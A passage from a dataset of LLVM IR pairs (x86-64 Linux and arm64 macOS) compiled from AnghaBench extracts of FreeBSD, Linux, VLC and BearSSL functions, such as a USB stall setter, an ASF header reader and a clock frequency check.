noundef, ptr noundef, ptr noundef) local_unnamed_addr #1 declare ptr @AVR32_BUS2SC(i32 noundef) local_unnamed_addr #1 declare i32 @AVR32_WRITE_4(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1 declare i32 @AVR32_EPTSETSTA(i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !7, i64 0} !6 = !{!"usb_device", !7, i64 0} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!7, !7, i64 0} !11 = !{!12, !13, i64 0} !12 = !{!"usb_endpoint", !13, i64 0} !13 = !{!"any pointer", !8, i64 0} !14 = !{!15, !7, i64 0} !15 = !{!"TYPE_2__", !7, i64 0}
; ModuleID = 'AnghaBench/freebsd/sys/dev/usb/controller/extr_avr32dci.c_avr32dci_set_stall.c' source_filename = "AnghaBench/freebsd/sys/dev/usb/controller/extr_avr32dci.c_avr32dci_set_stall.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @MA_OWNED = common local_unnamed_addr global i32 0, align 4 @.str = private unnamed_addr constant [9 x i8] c"pipe=%p\0A\00", align 1 @UE_ADDR = common local_unnamed_addr global i32 0, align 4 @AVR32_EPTSTA_FRCESTALL = common local_unnamed_addr global i32 0, align 4 @llvm.used = appending global [1 x ptr] [ptr @avr32dci_set_stall], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal void @avr32dci_set_stall(ptr nocapture noundef readonly %0, ptr noundef %1, ptr nocapture readnone %2) #0 { %4 = load i32, ptr %0, align 4, !tbaa !6 %5 = load i32, ptr @MA_OWNED, align 4, !tbaa !11 %6 = tail call i32 @USB_BUS_LOCK_ASSERT(i32 noundef %4, i32 noundef %5) #2 %7 = tail call i32 @DPRINTFN(i32 noundef 5, ptr noundef nonnull @.str, ptr noundef %1) #2 %8 = load i32, ptr %0, align 4, !tbaa !6 %9 = tail call ptr @AVR32_BUS2SC(i32 noundef %8) #2 %10 = load ptr, ptr %1, align 8, !tbaa !12 %11 = load i32, ptr %10, align 4, !tbaa !15 %12 = load i32, ptr @UE_ADDR, align 4, !tbaa !11 %13 = and i32 %12, %11 %14 = tail call i32 @AVR32_EPTSETSTA(i32 noundef %13) #2 %15 = load i32, ptr @AVR32_EPTSTA_FRCESTALL, align 4, !tbaa !11 %16 = tail call i32 @AVR32_WRITE_4(ptr noundef %9, i32 noundef %14, i32 noundef %15) #2 ret void } declare i32 @USB_BUS_LOCK_ASSERT(i32 noundef, i32 noundef) local_unnamed_addr #1 declare i32 @DPRINTFN(i32 noundef, ptr noundef, ptr noundef) local_unnamed_addr #1 declare ptr @AVR32_BUS2SC(i32 noundef) local_unnamed_addr #1 declare i32 @AVR32_WRITE_4(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1 declare i32 @AVR32_EPTSETSTA(i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !8, i64 0} !7 = !{!"usb_device", !8, i64 0} !8 = !{!"int", !9, i64 0} !9 = !{!"omnipotent char", !10, i64 0} !10 = !{!"Simple C/C++ TBAA"} !11 = !{!8, !8, i64 0} !12 = !{!13, !14, i64 0} !13 = !{!"usb_endpoint", !14, i64 0} !14 = !{!"any pointer", !9, i64 0} !15 = !{!16, !8, i64 0} !16 = !{!"TYPE_2__", !8, i64 0}
freebsd_sys_dev_usb_controller_extr_avr32dci.c_avr32dci_set_stall
; ModuleID = 'AnghaBench/linux/drivers/hwmon/extr_pc87360.c_superio_outb.c' source_filename = "AnghaBench/linux/drivers/hwmon/extr_pc87360.c_superio_outb.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @llvm.compiler.used = appending global [1 x ptr] [ptr @superio_outb], section "llvm.metadata" ; Function Attrs: inlinehint nounwind uwtable define internal void @superio_outb(i32 noundef %0, i32 noundef %1, i32 noundef %2) #0 { %4 = tail call i32 @outb(i32 noundef %1, i32 noundef %0) #2 %5 = add nsw i32 %0, 1 %6 = tail call i32 @outb(i32 noundef %2, i32 noundef %5) #2 ret void } declare i32 @outb(i32 noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { inlinehint nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
; ModuleID = 'AnghaBench/linux/drivers/hwmon/extr_pc87360.c_superio_outb.c' source_filename = "AnghaBench/linux/drivers/hwmon/extr_pc87360.c_superio_outb.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @llvm.used = appending global [1 x ptr] [ptr @superio_outb], section "llvm.metadata" ; Function Attrs: inlinehint nounwind ssp uwtable(sync) define internal void @superio_outb(i32 noundef %0, i32 noundef %1, i32 noundef %2) #0 { %4 = tail call i32 @outb(i32 noundef %1, i32 noundef %0) #2 %5 = add nsw i32 %0, 1 %6 = tail call i32 @outb(i32 noundef %2, i32 noundef %5) #2 ret void } declare i32 @outb(i32 noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { inlinehint nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
linux_drivers_hwmon_extr_pc87360.c_superio_outb
; ModuleID = 'AnghaBench/vlc/modules/demux/asf/extr_libasf.c_ASF_ReadObject_Header.c' source_filename = "AnghaBench/vlc/modules/demux/asf/extr_libasf.c_ASF_ReadObject_Header.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" %struct.TYPE_10__ = type { i32, i32, i32, ptr, ptr } @VLC_EGENERIC = dso_local local_unnamed_addr global i32 0, align 4 @ASF_OBJECT_COMMON_SIZE = dso_local local_unnamed_addr global i32 0, align 4 @VLC_SUCCESS = dso_local local_unnamed_addr global i32 0, align 4 @llvm.compiler.used = appending global [1 x ptr] [ptr @ASF_ReadObject_Header], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal i32 @ASF_ReadObject_Header(ptr noundef %0, ptr noundef %1) #0 { %3 = alloca ptr, align 8 call void @llvm.lifetime.start.p0(i64 8, ptr nonnull %3) #4 %4 = call i32 @vlc_stream_Peek(ptr noundef %0, ptr noundef nonnull %3, i32 noundef 30) #4 %5 = icmp slt i32 %4, 30 br i1 %5, label %33, label %6 6: ; preds = %2 %7 = load ptr, ptr %3, align 8, !tbaa !5 %8 = load i32, ptr @ASF_OBJECT_COMMON_SIZE, align 4, !tbaa !9 %9 = sext i32 %8 to i64 %10 = getelementptr inbounds i32, ptr %7, i64 %9 %11 = call i32 @GetDWLE(ptr noundef %10) #4 %12 = getelementptr inbounds %struct.TYPE_10__, ptr %1, i64 0, i32 2 store i32 %11, ptr %12, align 8, !tbaa !11 %13 = load ptr, ptr %3, align 8, !tbaa !5 %14 = getelementptr inbounds i32, ptr %13, i64 28 %15 = load i32, ptr %14, align 4, !tbaa !9 %16 = getelementptr inbounds %struct.TYPE_10__, ptr %1, i64 0, i32 1 store i32 %15, ptr %16, align 4, !tbaa !13 %17 = getelementptr inbounds i32, ptr %13, i64 29 %18 = load i32, ptr %17, align 4, !tbaa !9 store i32 %18, ptr %1, align 8, !tbaa !14 %19 = getelementptr inbounds %struct.TYPE_10__, ptr %1, i64 0, i32 3 call void @llvm.memset.p0.i64(ptr noundef nonnull align 8 dereferenceable(16) %19, i8 0, i64 16, i1 false) %20 = call i32 @vlc_stream_Read(ptr noundef %0, ptr noundef null, i32 noundef 30) #4 %21 = icmp eq i32 %20, 30 br i1 %21, label %22, label %33 22: ; preds = %6, %30 %23 = call ptr @malloc(i32 noundef 32) #4 %24 = icmp eq ptr %23, null br i1 %24, label %28, label %25 25: ; preds = %22 %26 = call i64 @ASF_ReadObject(ptr noundef %0, ptr noundef nonnull %23, ptr noundef nonnull %1) #4 %27 = icmp eq i64 %26, 0 br i1 %27, label %30, label %28 28: ; preds = %25, %22 %29 = call i32 @free(ptr noundef %23) #4 br label %33 30: ; preds = %25 %31 = call i64 @ASF_NextObject(ptr noundef %0, ptr noundef nonnull %23, i32 noundef 0) #4 %32 = icmp eq i64 %31, 0 br i1 %32, label %22, label %33 33: ; preds = %30, %28, %6, %2 %34 = phi ptr [ @VLC_EGENERIC, %2 ], [ @VLC_EGENERIC, %6 ], [ @VLC_SUCCESS, %28 ], [ @VLC_SUCCESS, %30 ] %35 = load i32, ptr %34, align 4, !tbaa !9 call void @llvm.lifetime.end.p0(i64 8, ptr nonnull %3) #4 ret i32 %35 } ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1 declare i32 @vlc_stream_Peek(ptr noundef, ptr noundef, i32 noundef) local_unnamed_addr #2 declare i32 @GetDWLE(ptr noundef) local_unnamed_addr #2 declare i32 @vlc_stream_Read(ptr noundef, ptr noundef, i32 noundef) local_unnamed_addr #2 declare ptr @malloc(i32 noundef) local_unnamed_addr #2 declare i64 @ASF_ReadObject(ptr noundef, ptr noundef, ptr noundef) local_unnamed_addr #2 declare i32 @free(ptr noundef) local_unnamed_addr #2 declare i64 @ASF_NextObject(ptr noundef, ptr noundef, i32 noundef) local_unnamed_addr #2 ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1 ; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: write) declare void @llvm.memset.p0.i64(ptr nocapture writeonly, i8, i64, i1 immarg) #3 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) } attributes #2 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #3 = { nocallback nofree nounwind willreturn memory(argmem: write) } attributes #4 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"any pointer", !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 = !{!"Simple C/C++ TBAA"} !9 = !{!10, !10, i64 0} !10 = !{!"int", !7, i64 0} !11 = !{!12, !10, i64 8} !12 = !{!"TYPE_10__", !10, i64 0, !10, i64 4, !10, i64 8, !6, i64 16, !6, i64 24} !13 = !{!12, !10, i64 4} !14 = !{!12, !10, i64 0}
; ModuleID = 'AnghaBench/vlc/modules/demux/asf/extr_libasf.c_ASF_ReadObject_Header.c' source_filename = "AnghaBench/vlc/modules/demux/asf/extr_libasf.c_ASF_ReadObject_Header.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @VLC_EGENERIC = common local_unnamed_addr global i32 0, align 4 @ASF_OBJECT_COMMON_SIZE = common local_unnamed_addr global i32 0, align 4 @VLC_SUCCESS = common local_unnamed_addr global i32 0, align 4 @llvm.used = appending global [1 x ptr] [ptr @ASF_ReadObject_Header], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal i32 @ASF_ReadObject_Header(ptr noundef %0, ptr noundef %1) #0 { %3 = alloca ptr, align 8 call void @llvm.lifetime.start.p0(i64 8, ptr nonnull %3) #4 %4 = call i32 @vlc_stream_Peek(ptr noundef %0, ptr noundef nonnull %3, i32 noundef 30) #4 %5 = icmp slt i32 %4, 30 br i1 %5, label %33, label %6 6: ; preds = %2 %7 = load ptr, ptr %3, align 8, !tbaa !6 %8 = load i32, ptr @ASF_OBJECT_COMMON_SIZE, align 4, !tbaa !10 %9 = sext i32 %8 to i64 %10 = getelementptr inbounds i32, ptr %7, i64 %9 %11 = call i32 @GetDWLE(ptr noundef %10) #4 %12 = getelementptr inbounds i8, ptr %1, i64 8 store i32 %11, ptr %12, align 8, !tbaa !12 %13 = load ptr, ptr %3, align 8, !tbaa !6 %14 = getelementptr inbounds i8, ptr %13, i64 112 %15 = load i32, ptr %14, align 4, !tbaa !10 %16 = getelementptr inbounds i8, ptr %1, i64 4 store i32 %15, ptr %16, align 4, !tbaa !14 %17 = getelementptr inbounds i8, ptr %13, i64 116 %18 = load i32, ptr %17, align 4, !tbaa !10 store i32 %18, ptr %1, align 8, !tbaa !15 %19 = getelementptr inbounds i8, ptr %1, i64 16 call void @llvm.memset.p0.i64(ptr noundef nonnull align 8 dereferenceable(16) %19, i8 0, i64 16, i1 false) %20 = call i32 @vlc_stream_Read(ptr noundef %0, ptr noundef null, i32 noundef 30) #4 %21 = icmp eq i32 %20, 30 br i1 %21, label %22, label %33 22: ; preds = %6, %30 %23 = call ptr @malloc(i32 noundef 32) #4 %24 = icmp eq ptr %23, null br i1 %24, label %28, label %25 25: ; preds = %22 %26 = call i64 @ASF_ReadObject(ptr noundef %0, ptr noundef nonnull %23, ptr noundef nonnull %1) #4 %27 = icmp eq i64 %26, 0 br i1 %27, label %30, label %28 28: ; preds = %25, %22 %29 = call i32 @free(ptr noundef %23) #4 br label %33 30: ; preds = %25 %31 = call i64 @ASF_NextObject(ptr noundef %0, ptr noundef nonnull %23, i32 noundef 0) #4 %32 = icmp eq i64 %31, 0 br i1 %32, label %22, label %33 33: ; preds = %30, %28, %6, %2 %34 = phi ptr [ @VLC_EGENERIC, %2 ], [ @VLC_EGENERIC, %6 ], [ @VLC_SUCCESS, %28 ], [ @VLC_SUCCESS, %30 ] %35 = load i32, ptr %34, align 4, !tbaa !10 call void @llvm.lifetime.end.p0(i64 8, ptr nonnull %3) #4 ret i32 %35 } ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1 declare i32 @vlc_stream_Peek(ptr noundef, ptr noundef, i32 noundef) local_unnamed_addr #2 declare i32 @GetDWLE(ptr noundef) local_unnamed_addr #2 declare i32 @vlc_stream_Read(ptr noundef, ptr noundef, i32 noundef) local_unnamed_addr #2 declare ptr @malloc(i32 noundef) local_unnamed_addr #2 declare i64 @ASF_ReadObject(ptr noundef, ptr noundef, ptr noundef) local_unnamed_addr #2 declare i32 @free(ptr noundef) local_unnamed_addr #2 declare i64 @ASF_NextObject(ptr noundef, ptr noundef, i32 noundef) local_unnamed_addr #2 ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1 ; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: write) declare void @llvm.memset.p0.i64(ptr nocapture writeonly, i8, i64, i1 immarg) #3 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) } attributes #2 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #3 = { nocallback nofree nounwind willreturn memory(argmem: write) } attributes #4 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"any pointer", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!11, !11, i64 0} !11 = !{!"int", !8, i64 0} !12 = !{!13, !11, i64 8} !13 = !{!"TYPE_10__", !11, i64 0, !11, i64 4, !11, i64 8, !7, i64 16, !7, i64 24} !14 = !{!13, !11, i64 4} !15 = !{!13, !11, i64 0}
vlc_modules_demux_asf_extr_libasf.c_ASF_ReadObject_Header
; ModuleID = 'AnghaBench/linux/drivers/clk/extr_clk-si544.c_is_valid_frequency.c' source_filename = "AnghaBench/linux/drivers/clk/extr_clk-si544.c_is_valid_frequency.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @SI544_MIN_FREQ = dso_local local_unnamed_addr global i64 0, align 8 @llvm.compiler.used = appending global [1 x ptr] [ptr @is_valid_frequency], section "llvm.metadata" @switch.table.is_valid_frequency = private unnamed_addr constant [3 x i64] [i64 350000000, i64 800000000, i64 1500000000], align 8 ; Function Attrs: mustprogress nofree norecurse nosync nounwind willreturn memory(read, inaccessiblemem: none) uwtable define internal noundef i32 @is_valid_frequency(ptr nocapture noundef readonly %0, i64 noundef %1) #0 { %3 = load i64, ptr @SI544_MIN_FREQ, align 8, !tbaa !5 %4 = icmp ugt i64 %3, %1 br i1 %4, label %17, label %5 5: ; preds = %2 %6 = load i32, ptr %0, align 4, !tbaa !9 %7 = add i32 %6, -128 %8 = icmp ult i32 %7, 3 br i1 %8, label %9, label %13 9: ; preds = %5 %10 = zext nneg i32 %7 to i64 %11 = getelementptr inbounds [3 x i64], ptr @switch.table.is_valid_frequency, i64 0, i64 %10 %12 = load i64, ptr %11, align 8 br label %13 13: ; preds = %9, %5 %14 = phi i64 [ 0, %5 ], [ %12, %9 ] %15 = icmp uge i64 %14, %1 %16 = zext i1 %15 to i32 br label %17 17: ; preds = %2, %13 %18 = phi i32 [ %16, %13 ], [ 0, %2 ] ret i32 %18 } attributes #0 = { mustprogress nofree norecurse nosync nounwind willreturn memory(read, inaccessiblemem: none) uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"long", !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 = !{!"Simple C/C++ TBAA"} !9 = !{!10, !11, i64 0} !10 = !{!"clk_si544", !11, i64 0} !11 = !{!"int", !7, i64 0}
; ModuleID = 'AnghaBench/linux/drivers/clk/extr_clk-si544.c_is_valid_frequency.c' source_filename = "AnghaBench/linux/drivers/clk/extr_clk-si544.c_is_valid_frequency.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @SI544_MIN_FREQ = common local_unnamed_addr global i64 0, align 8 @llvm.used = appending global [1 x ptr] [ptr @is_valid_frequency], section "llvm.metadata" @switch.table.is_valid_frequency = private unnamed_addr constant [3 x i64] [i64 350000000, i64 800000000, i64 1500000000], align 8 ; Function Attrs: mustprogress nofree norecurse nosync nounwind ssp willreturn memory(read, inaccessiblemem: none) uwtable(sync) define internal range(i32 0, 2) i32 @is_valid_frequency(ptr nocapture noundef readonly %0, i64 noundef %1) #0 { %3 = load i64, ptr @SI544_MIN_FREQ, align 8, !tbaa !6 %4 = icmp ugt i64 %3, %1 br i1 %4, label %17, label %5 5: ; preds = %2 %6 = load i32, ptr %0, align 4, !tbaa !10 %7 = add i32 %6, -128 %8 = icmp ult i32 %7, 3 br i1 %8, label %9, label %13 9: ; preds = %5 %10 = zext nneg i32 %7 to i64 %11 = getelementptr inbounds [3 x i64], ptr @switch.table.is_valid_frequency, i64 0, i64 %10 %12 = load i64, ptr %11, align 8 br label %13 13: ; preds = %9, %5 %14 = phi i64 [ 0, %5 ], [ %12, %9 ] %15 = icmp uge i64 %14, %1 %16 = zext i1 %15 to i32 br label %17 17: ; preds = %2, %13 %18 = phi i32 [ %16, %13 ], [ 0, %2 ] ret i32 %18 } attributes #0 = { mustprogress nofree norecurse nosync nounwind ssp willreturn memory(read, inaccessiblemem: none) uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"long", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!11, !12, i64 0} !11 = !{!"clk_si544", !12, i64 0} !12 = !{!"int", !8, i64 0}
linux_drivers_clk_extr_clk-si544.c_is_valid_frequency
; ModuleID = 'AnghaBench/freebsd/contrib/bearssl/test/extr_test_x509.c_main.c' source_filename = "AnghaBench/freebsd/contrib/bearssl/test/extr_test_x509.c_main.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @CONFFILE = dso_local local_unnamed_addr global i32 0, align 4 @max_dp_usage = dso_local local_unnamed_addr global i64 0, align 8 @max_rp_usage = dso_local local_unnamed_addr global i64 0, align 8 @all_chains_ptr = dso_local local_unnamed_addr global i64 0, align 8 @all_chains = dso_local local_unnamed_addr global ptr null, align 8 @.str = private unnamed_addr constant [33 x i8] c"Maximum data stack usage: %u\0A\00", align 1 @.str.1 = private unnamed_addr constant [33 x i8] c"Maximum return stack usage: %u\0A\00", align 1 @keys = dso_local local_unnamed_addr global i32 0, align 4 @free_key = dso_local local_unnamed_addr global i32 0, align 4 @trust_anchors = dso_local local_unnamed_addr global i32 0, align 4 @free_trust_anchor = dso_local local_unnamed_addr global i32 0, align 4 @stderr = dso_local local_unnamed_addr global i32 0, align 4 ; Function Attrs: nounwind uwtable define dso_local noundef i32 @main(i32 noundef %0, ptr nocapture noundef readnone %1) local_unnamed_addr #0 { %3 = load i32, ptr @CONFFILE, align 4, !tbaa !5 %4 = tail call i32 @process_conf_file(i32 noundef %3) #2 store i64 0, ptr @max_dp_usage, align 8, !tbaa !9 store i64 0, ptr @max_rp_usage, align 8, !tbaa !9 %5 = load i64, ptr @all_chains_ptr, align 8, !tbaa !9 %6 = icmp eq i64 %5, 0 br i1 %6, label %15, label %7 7: ; preds = %2, %7 %8 = phi i64 [ %12, %7 ], [ 0, %2 ] %9 = load ptr, ptr 